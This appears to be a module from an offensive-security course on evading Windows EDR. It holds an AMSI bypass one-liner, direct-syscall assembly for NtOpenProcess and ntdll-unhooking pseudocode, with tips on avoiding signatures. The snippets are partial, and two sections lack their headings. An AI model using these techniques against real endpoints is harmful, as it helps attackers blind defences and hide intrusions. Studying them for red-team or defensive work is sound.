Module 5 · Evading Modern EDR 🔒

Modern EDR in 2026 is dramatically better than it was five years ago. Mimikatz.exe dropped to disk is dead on arrival. PowerShell AMSI detects obfuscated scripts. ETW tracks every process creation and API call. Memory scans find classic C2 beacon signatures in seconds. This module covers the current evasion techniques, what still works, and what has been effectively closed off — Expert-tier content, assumes you completed Modules 1-4.

The three layers of modern endpoint defence

• Kernel-level telemetry — ETW (Event Tracing for Windows), kernel callbacks, process creation notify routines. Feeds the EDR. Very hard to blind without a kernel driver (which is signed-required)
• User-mode hooking — EDR injects a DLL into every process; hooks sensitive Win32/NTAPI functions. Catches in-process activity that kernel can’t easily see
• Behavioural analytics in the cloud — the EDR correlates telemetry across endpoints and over time. Single anomaly might be ignored; a pattern fires

Evasion works at each layer differently.

AMSI — Antimalware Scan Interface

AMSI is the Windows-native interface that lets AV/EDR scan content as it’s about to execute: PowerShell script blocks, VBScript, JScript, Excel macros, WMI. Defeating it enables most script-based execution.

In-memory AMSI bypass (patching the DLL)

// Patch AmsiScanBuffer in amsi.dll to return E_INVALIDARG (always "safe")
// Many published snippets; they get signatured fast. Use obfuscated
// variants or write your own

[System.Reflection.Assembly]::LoadFile('...').GetType('...').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Microsoft improved AMSI against common bypasses (the “LoadFile/SetValue” trick was hotpatched). Today’s bypasses use unique memory patterns, dynamic string construction, and avoid signatured patches.

// Instead of calling OpenProcess which goes through hooked NtOpenProcess,
// call the syscall directly:

__asm__ __volatile__ (
  "movq %%rcx, %%r10;"
  "movl $0x26, %%eax;"   // SSN for NtOpenProcess on Win11 (changes per build)
  "syscall;"
  ::: "rax", "r10", "rcx", "r11"
);

// SSN resolution at runtime is the hard part — hardcoding breaks across builds.
// Modern tools resolve at runtime (HellsGate, Halos Gate).

// Pseudocode
HMODULE nt = GetModuleHandle("ntdll.dll");            // hooked copy in memory
HANDLE disk_nt = CreateFile("C:\\Windows\\System32\\ntdll.dll", ...);
// Map disk copy; find .text section
// For each exported function in hooked ntdll:
//   Copy bytes from disk copy over the in-memory function prologue
//   Hook removed